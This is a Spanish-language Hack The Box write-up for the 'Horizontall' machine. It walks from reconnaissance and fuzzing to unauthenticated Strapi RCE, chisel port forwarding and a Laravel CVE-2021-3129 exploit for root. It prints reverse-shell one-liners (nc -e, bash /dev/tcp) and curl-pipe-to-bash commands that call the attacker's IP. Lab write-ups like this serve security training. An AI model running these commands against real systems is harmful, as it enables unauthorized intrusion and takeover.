Horizontall - Hack The Box
Certificaciones a aplicar: eJPT, eWPT
Dificultad: Fácil
Habilidades:
- Information Leakage
- Port Forwarding
- Strapi CMS Exploitation
- Laravel Exploitation
IP de la Maquina
10.10.11.105
Reconocimiento
Identificando el sistema operativo.
whichSystem.py 10.10.11.105
Escaneo de los puertos y guardamos en formato grep en el ficherito allPorts.
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.105 -oG allPorts
Función extractPorts.
extractPorts allPorts
Análisis de Vulnerabilidades
Buscando versiones y servicios que corren para esos puertos y lo guardamos en formato nmap en el ficherito targeted.
nmap -sCV -p22,80 10.10.11.105 -oN targeted
Vamos a identificar ante que nos estamos enfrentando de la siguiente manera colocamos en el navegador launchpad 4ubuntu0.5 y nos dara el siguiente resultado.
De esta manera vemos que estamos ante un Ubuntu Bionic.
Luego vemos que nmap nos reporta que hay un follow redirect hacia http://horizontall.htb entonces verificamos con whatweb y debería mostrar lo mismo.
En efecto vemos que nos muestra lo mismo, si colocamos esa dirección en el navegador nos dará error ya que se esta aplicando virtual hosting.
Para agregarla editamos el fichero que esta /etc/hosts de la siguiente manera.
Con esto ya tendria que resolvernos el dominio en la ip privada y para comprobar emitimos un ping hacia el dominio.
Luego vamos a aplicar el script http-enum de nmap al dominio agregado y lo guardamos en formato nmap y lo exportamos en el ficherito webScan.
Si no nos encontro nada como es el caso borramos el ficherito.
Vamos a hacer Fuzzing con wfuzz
wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://horizontall.htb/FUZZ
Nos encontró 3 directorios los analizamos y miramos si hay algo si no inspeccionaremos el código fuente de la pagina a ver si hay alguna pista.
Lanzamos un Curl al sitio haciendo una petición GET.
curl -s -X GET "http://horizontall.htb/" | htmlq -p | cat -l html
Nos lo mostrara asi para inspeccionar mejor el código y vemos algo medio intersante haciendo referencia a unos archivos java script.
Vamos a utilizar unas expresiones regulares con grep para filtrar por lo que nos interesa.
curl -s -X GET "http://horizontall.htb/" | htmlq -p | cat -l html | grep -oP '".*?"' | grep app\. | sort -u
Observamos dos rutas, la de css no es de tanto interes asi que vamos a mirar la de js.
curl -s -X GET "http://horizontall.htb/js/app.c68eb462.js"
Vemos lo siguiente, no miramos nada así que vamos a filtrar para ver si logramos obtener algo.
curl -s -X GET "http://horizontall.htb/js/app.c68eb462.js" | grep "\.htb"
Vemos algo interesante así que vamos a crear una expresión regular una vez mas y que nos filtre por http.
curl -s -X GET "http://horizontall.htb/js/app.c68eb462.js" | grep -oP '".*?"' | grep http | sort -u
Ahi tenemos lo que nos interesa así que vamos a verlo en el navegador, pero antes tenemos que agregarlo al /etc/hosts.
Ahora lo miramos en el navegador y vemos con wappalyzer que tecnologias posee.
Vemos un CMS llamado strapi.
Buscamos con searchsploit una posible vulnerabilidad.
searchsploit strapi
Vemos 3 vulnerabilidades encontradas.
Vamos a verlo por consola la url que vimos anteriormente http://api-prod.horizontall.htb/reviews
curl -s -X GET "http://api-prod.horizontall.htb/reviews" | jq
Vemos posibles usuarios pero nada mas así que volveremos a hacer fuzzing con wfuzz.
wfuzz -c -t 200 --hc=404,200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt "http://api-prod.horizontall.htb/FUZZ"
Vemos por ahi un par de cosas interesantes por ejem visitaremos la ruta de admin a ver que hay.
Vemos un panel de autenticacion pero no disponemos de credenciales, antes probamos buscar las de default a ver si logramos entrar.
Ahora haremos Fuzzing de nuevo a esta ruta http://api-prod.horizontall.htb/admin/
wfuzz -c --hc=404 --hh=854 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt "http://api-prod.horizontall.htb/admin/FUZZ"
Miramos un par de directorios interesantes.
Al visitar el directorio Init podemos contemplar la version de Strapi y si buscamos con searchsploit como lo hicimos anteriormente miraremos que es vulnerable.
searchsploit strapi
Explotación
Nos dirigimos a la carpeta exploit de nuestros directorios de trabajo y nos copiamos el que dice remote code execution (Unauthenticated).
searchsploit -m multiple/webapps/50239.py
Lo renombramos.
mv 50239.py rce_strapi.py
Ejecutamos el exploit para ver que nos pide.
python3 rce_strapi.py
Como vemos solo nos pide la url.
Le pasamos la URL.
Y como podemos ver nos funciono el exploit.
Ahora probaremos entablarnos una reverse shell.
nc -e /bin/bash 10.10.14.7 443
Vemos que no al parecer no nos interpreta, hacemos un par de pruebas mas.
bash -i >& /de/tcp/10.10.14.7/443 0>&1
bash -c "bash -i >& /de/tcp/10.10.14.7/443 0>&1"
bash -c bash -i >%26 /de/tcp/10.10.14.7/443 0>%261"
Probamos con cada una y vemos que no funciona entonces verificamos que la maquina tenga curl.
Curl http://10.10.14.7/test
Y también nos montamos el servidor con python en nuestra maquina.
python3 -m http.server 80
Y vemos que si tiene curl instalado la maquina victima.
Lo que haremos sera crearnos un archivo index.html con el siguiente contenido.
nvim index.html
Nos montamos el servidor con python para compartirnos el recurso index.html.
python3 -m http.server 80
Ahora hacemos un curl al recurso que compartimos, veremos que nos muestra el código del index.html si lo pipeamos con bash nos va a interpretar el código, antes de lanzarle el curl nos ponemos en escucha con netcat.
curl http://10.10.14.7/index.html | bash
Una vez lanzado el curl podemos ver que hemos obtenido una reverse shell.
Hacemos un locate del user.txt
locate user.txt
Vemos donde esta la flag y hacemos un cat para ver si logramos visualizarla.
En efecto visualizamos la flag con eso ya tendríamos la maquina ahora nos falta convertirnos en root.
Antes de escalar priveligios haremos el tratamiento de la TTY.
script /dev/null -c bash
ctrl + z y continuamos con el tratamiento.
stty raw -echo; fg
reset
xterm
Continuamos
export TERM=xterm
export SHELL=bash
ssty rows 37 columns 183
En el caso de el size de la stty tienen que colocar la de las proporciones de su ventana y ya con esto tendriamos total movilidad en la shell.
Ahora si pasamos a la escalada.
Escalada de Privilegios
Lo primero que haremos sera buscar por permisos SUID nos dirigimos a la raiz y ejecutamos.
find \-perm -4000 2>/dev/null
No vemos nada interesante para escalar.
Luego listamos por tareas cron.
cat /etc/crontab
No vemos ninguna tarea cron.
Listamos puertos que estén abiertos.
netstat -nat
Vemos por ahi uno interesante.
lanzamos un curl al puerto 8000 para ver que hay.
curl localhost:8000
Vemos que hay una pagina web con laravel.
Utilizaremos chisel para jugar con port forwarding. Nos dirigimos a github y nos clonamos el repositorio en exploits.
git clone https://github.com/jpillora/chisel.git
Nos metemos en chisel y compilamos.
go build -ldflags "-s -w" .
Ahora con UPX vamos a reducir mas el peso de chisel
upx chisel
Una vez hecho esto nos transferiremos el chisel a la maquina victima. En nuestra maquina colocamos.
python3 -m http.server 80
Y en la maquina victima nos dirigimos al directorio tmp y nos bajamos el chisel.
wget http://10.10.14.7/chisel
Luego le damos permisos de ejecución chmod + x chisel.
Ahora para utilizar chisel vamos a montarnos un servidor en nuestra maquina por el puerto que queramos.
./chisel server --reverse -p 1234
Ahora ejecutamos el chisel en la maquina victima para hacer el port forwarding.
./chisel client 10.10.14.7:1234 R:8000:127.0.0.1:8000
Con esto ya estaría listo el port forwarding, y lo verificamos visitando el localhost en el puerto indicado.
Listo ya podemos visualizar la pagina de laravel en nuestra maquina.
Buscamos en github un exploit para esa version de laravel y nos clonamos el repositorio en exploits.
git clone https://github.com/nth347/CVE-2021-3129_exploit.git
Nos metemos al directorio y ejecutamos el script de python.
python3 exploit.py http://127.0.0.1:8000 Monolog/RCE1 whoami
Listo nos funciono ahora solo nos faltaria ejecutarnos una reverse shell para acceder como root y visualizar la flag.
Como ya tenemos una via potencial para mandarnos la reverse shell con el index.html que habiamos creado lo copiamos a este directorio.
cp ../index.html .
Luego montamos el servidor con python nuevamente.
python3 -m http.server 80
Nos ponemos en escucha con netcat.
nc -nlvp443
Y por ultimo ejecutamos el exploit.
python3 exploit.py http://127.0.0.1:8000 Monolog/RCE1 'curl 10.10.14.7 | bash'
Listo con esto nos convertimos en root y podemos visualizar la flag.
Visualizamos la flag.
Listo con esto tendríamos hecha la maquina por completo, happy hacking.